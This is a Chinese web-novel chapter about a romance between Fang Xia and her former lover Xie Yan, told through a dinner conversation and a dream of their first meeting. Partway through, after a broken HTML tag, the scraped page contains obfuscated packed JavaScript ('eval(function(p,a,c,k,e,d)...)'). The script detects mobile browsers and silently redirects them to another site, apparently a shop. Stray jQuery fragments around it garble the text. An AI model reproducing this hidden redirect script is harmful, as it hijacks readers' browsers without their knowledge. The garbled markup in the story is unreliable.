默认冷灰
24号文字
方正启体

6. 第 6 章

作者:春时绿本书字数:K更新时间:
    谢砚将倒好的花生浆轻轻放在方夏碗旁,接着给自己倒,似毫不在意的随口一问:“真不走了?”


    方夏端起花生浆喝了口,一点不带犹豫的回答:“那是哄樊姨的。”


    谢砚握着水壶的手顿时收紧,原本平稳的动作停滞,几滴花生浆溅落出来,他又缓缓将水壶放下,唇抿成了一条直线。


    方夏扫了眼桌面,一眼察觉出了谢砚的异样。


    “怎么?舍不得我走?”


    “从哪看出来的?”


    “哪哪都看出来了。”


    “……”


    谢砚没再说话,夹了菜开始吃,也不再看她。


    方夏眼眸一弯,歪着头看着他,说道:“我还想着,你要是开口留我,我就不走了呢,看来你不想留我咯。”


    谢砚继续吃饭,声音有点闷哑,说:“别玩我。”


    方夏:“我没有,你试试?”


    谢砚抬眸,直直看着她,“我留你你就不走了?”


    “嗯。”


    谢砚:“那为什么当年要走?”


    方夏挑眉,“奇怪,当年你也没留我呀。”


    谢砚放下筷子,认真说:“方小姐,你是指我要打通那张你丢在机场垃圾桶里的废弃电话卡吗?”


    当年方夏铁了心要走,谢砚留不留都改变不了任何结局。


    她丢的,不止是那张电话卡。


    谢砚眼中似有灼灼火焰,方夏下意识别过脸避开了他的目光,端起桌上的花生浆轻抿了一口。


    “为什么要走。”


    “钱咯。”


    “吊着我不是可以得到更多吗?”


    “这不一样。”


    “有什么不一样?方小姐手段高明,在我身边可以得到更多。”


    方夏脸上没有笑意,但扬唇问:“你能娶我吗?”


    “……”


    四年前,方夏只是一个在普通不过的大学生,而谢砚是刚从国外回来的谢家独子,鼎力集团的唯一继承人。


    尽管方夏拿着赔偿金维持了跟郭乔体面的生活,日子还算舒服,可这些在谢砚的面前都根本不够看,甚至方夏引以为傲的学历,在谢夫人的眼中都一文不值。


    她真是想不到,谢砚要如何跟她进一步。


    谢砚:“或许可以呢。”


    方夏噗嗤一笑,眼神中带着几分俏皮与调侃,夹了一块豆干咬了口,说道:“今天可不是愚人节。”


    跟谢砚在一起的第一天,方夏就已经想好退路了,至少他们在一起的四个月,她很开心也很享受,还得到了一笔超出她预期丰厚的奖励。


    她很满足。


    沉默片刻,谢砚声音低哑问:“这几年过得好吗?”


    方夏:“挺好的。”


    谢砚:“那为什么要回来?”


    “这里是我的故乡,当初走的时候我就没想过不回来。”


    说到这,她话锋一转,问:“你去美国找我了?”


    “没有。”


    说这话时,谢砚没看方夏,伸手去夹菜,动作不紧不慢,语气波澜不惊,说:“分都分了,还有什么找的必要吗。”


    方夏眨眼,显然是不相信谢砚的话。


    “真的没找?”


    “没有。”


    “行啊。”


    气氛短暂的凝滞。


    过了会儿,谢砚还是没忍住,筷子伸过去夹方夏面前的藕片,问:“这几年找新欢了?”


    方夏顾着吃饭头都没抬,“找了。”


    闻听此言,谢砚筷子上的藕片掉落,眼神暗沉了下来,说:“看来你这几年过得确实不错。”


    方夏缓缓抬眼看着谢砚,嘴角勾着一抹狡黠的笑,“怎么,你没找?”


    谢砚重新夹起藕片放在碗里,“你希望我找吗?”


    方夏:“以谢总的身份,这几年往你身上扑的女人不会少,就算你不找,谢夫人也会为你精挑细选找门当户对的良缘,我猜,应该已经有合适的选择了吧。”


    谢砚看着方夏,只顺着她的话说:“是啊,有了。”


    方夏表情没变化,调侃说:“那你还来跟我吃饭,我这位臭名昭著的前任,当初你身边所有人可都在背后偷偷骂我呢。”


    谢砚耸肩,“没关系,她善解人意比某人心胸宽阔,不会在意。”


    方夏:“跟旧爱上床也不在意?”


    谢砚:“家族联姻,利益至上,你怎么知道她就没有藕断丝连的旧爱?”


    “是我狭隘了,敬谢总。”


    方夏端起花生浆敬谢砚,一饮而尽。


    谢砚也端起花生浆灌了一口,醇厚香甜的液体划过喉咙,放下杯子那刻他不自觉地拧了拧眉心。


    花生浆好像变味了,原本香甜的味道,竟然无端生出一丝苦涩。


    方夏端起水壶,要续一杯。


    谢砚见状几乎是下意识地,自然而然抬手接过她的杯子,帮她倒。


    然而方夏不着痕迹躲过他的手,“我自己来。”


    谢砚的手停在空中,怔愣片刻,缓缓收了回来。


    一杯刚续上,樊芬跟老郭忙完过来了。


    夫妻俩乐呵呵的还拿了一瓶白酒过来,说是要跟他们喝两杯。


    樊芬坐在方夏的身旁,老郭坐在谢砚的身旁,他们一来,方夏就没理会谢砚,一直跟他们说话。


    但话里话外,老郭跟樊芬都以为方夏跟谢砚没分手,还在一起。


    樊芬笑着问:“小夏,你俩啥时候结婚啊?你都从国外回来了,是不是好日子近了,到时候可一定要请我们过去喝喜酒啊。”


    方夏怔愣,看了眼谢砚。


    他们四年前就分了,谢砚居然没说?


    “樊姨,你们误会了,我跟谢砚早就在四年前就分了。”


    这话一出,樊芬跟老郭脸上的笑容凝固,眼中满是惊讶。


    樊芬愣了好一会儿,才回过神来,可惜说:“分了?……咋回事啊,不就是去国外上学吗,你们俩之前感情多好啊,居然分了。”


    方夏:“的确是分了,之前谢砚没告诉您二位,估计是怕你们担心,也没什么,你们看我俩现在还能一起吃饭聊天呢,恋人做不了,还能当朋友嘛。”


    老郭:“哎哟……小子,是不是你惹小夏不开心,她才跟你闹别扭分了?”


    樊芬叹了口气,看了他们两人一眼语重心长说:“年轻人,一段感情来之不易,别轻言放弃,有些事,错过了可就再也找不回来了。”


    他们都以为是谢砚做错了事,才跟方夏分手。


    岂不知,当年是方夏拿了钱,单方面跟谢砚分手的。


    当年谢砚都没搞清楚状况,就接到方夏的电话被通知了分手,接着再打过去就怎么也打不通了。


    说起来,在这件事上谢砚还挺无辜的。


    方夏:“不是他的问题,是我的问题,他没做错什么。”


    樊芬:“小夏,那到底是什么原因啊?”


    方夏想了想,说出四个字:“三观不合。”


    话音刚落,谢砚不假思索地脱口而出:“哪不合?”


    他紧紧盯着方夏,仿佛要从她这刨根问底。


    方夏垂下眼睫,在心里斟酌后,片刻后才启唇轻声说:“这世上有一种人,爱情只占了她生命中最小的一部分,很不巧我就是这种人。”


    从跟谢砚在一起的第一天,方夏就已经预想到了他们分手的那一天。


    所以他们相处的每一天,都是方夏提前计划好的。


    在这段注定了要无疾而终的感情里,她做到了利益最大化。她不敢去赌一个有前车之鉴的结果,所以选择了支票。


    当然,方夏现在并不后悔当年的这个决定。


    谢砚无话可说。


    樊芬:“小夏啊,凡是不必过早的下定论,你们的人生还长着呢。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310665|198822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    老郭:“是啊,想当年,我跟你樊姨也是分分合合吵吵闹闹,这么几十年不也一起过来了?有时候一天没见到她,我还不习惯呢,哈哈。”


    略过了这个话题,他们又聊起了其他的。


    樊芬跟老郭非常喜欢方夏,因为四年前,是方夏帮他们的儿子补习,扭转了他们儿子的观念,之后他们的儿子才听话考了大学,虽然不是什么名校,但至少没有长歪。


    就冲这件事,樊芬跟老郭就打心眼里喜欢她。


    一场饭局结束,本来方夏没打算喝酒的,但气氛到了还是少喝了两杯白酒。好在这几年应酬酒量上去了,只觉得脸颊有些发烫,大脑还是很清醒的。


    跟谢砚一起从餐馆离开,夜里有些凉,他们站在路边等司机将车开过来。


    两人并肩伫立在路边,空气中弥漫着一股淡淡的酒味,路灯散发柔和昏黄的光,将他们的影子拉的很长。


    不远处黑色的宾利逐渐靠近。


    司机下来开车门,谢砚示意方夏先上,方夏拢了拢外套弯腰上车,谢砚跟着屈身进入车内。


    司机询问地址。


    她靠着椅背,闭着眼说:“翠湖小区,送到小区门口就行。”


    车里气氛稍微有些闷了,司机非常贴心将车窗开了一个小缝,夜风灌进来,扑在方夏的脸上,凉丝丝的,很舒服。


    或许是这辆车的椅座太舒服了,吹着吹着方夏竟然偏头睡了过去。


    她做了一个梦。


    梦里是她跟谢砚的第一次见面。


    那是她跟郭乔来到京市读书的第四年,大四面临毕业的那一年夏天,方夏在导员的介绍之下,在一家金融科技公司实习,每天工作就是端茶倒水打印文件的琐事。


    她记得,那年京市特别热。


    她的想法很简单,只想找个工作留在这座城市再做打算。


    是一个周末,方夏在公司整理文件,那天是她的生理期,她素来有第一天就痛经的毛病,抱着一沓子文件她小腹抽痛,见电梯还没来,她就蹲在电梯门口等。


    就听“叮——”的一声响。


    电梯门打开,三个男人从电梯走了出来。


    中间的那个穿着最休闲简单,却举手投足间散发一股与生俱来的贵气。


    旁边两个方夏都见过,左边是公司老总的儿子,右边正是方夏所属部门的经理,既然能站在他们两人中间,可想而知中间的男人身份不一般。


    方夏抬眼匆匆瞥了一下,慌张给他们让路,可没想到甫一站起来,怀中文件就撒落一地。


    她立马低头去捡,耳旁清晰地听见了经理不悦的啧声。


    方夏暗想,完了。


    却没想到下一刻,她的视线中就出现了一只修长白净的手,帮她捡起了远端散落的文件,并递到了她面前。


    旁边两个无动于衷的男人没料到他会亲自动手,便赶紧跟着一起捡。


    方夏顺着这只手往上看,便看见了一张轮廓深邃英朗的脸。


    他很年轻约莫二十五左右,骨相优越,眼型偏窄眼瞳黑白分明,方夏在看他的时候,他也正在看她。


    两两对视间,似有电光火石擦过。


    这是方夏第一次对一个人产生这种感觉,一股从未有过的热流自心底悄然升起,连同心脏竟也跳动异常。


    “谢谢。”


    “不客气。”


    接着经理也收集了其他散落的文件递给方夏,胖乎乎的脸上咧开大度的笑说:“实习生是吧,赶紧拿着吧,傻愣着干什么。”


    “谢总,这边请。”


    接着,他们三人绕过了方夏,往办公室而去。


    方夏抱着文件踏进电梯轿厢,摁了楼层后,她目光一直追着那抹修长离去的身影。


    就在电梯门即将合上时,那人竟也转头望向了她。


    他的眼神直直穿过逐渐缩小的电梯门缝,与方夏的目光短暂交汇。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)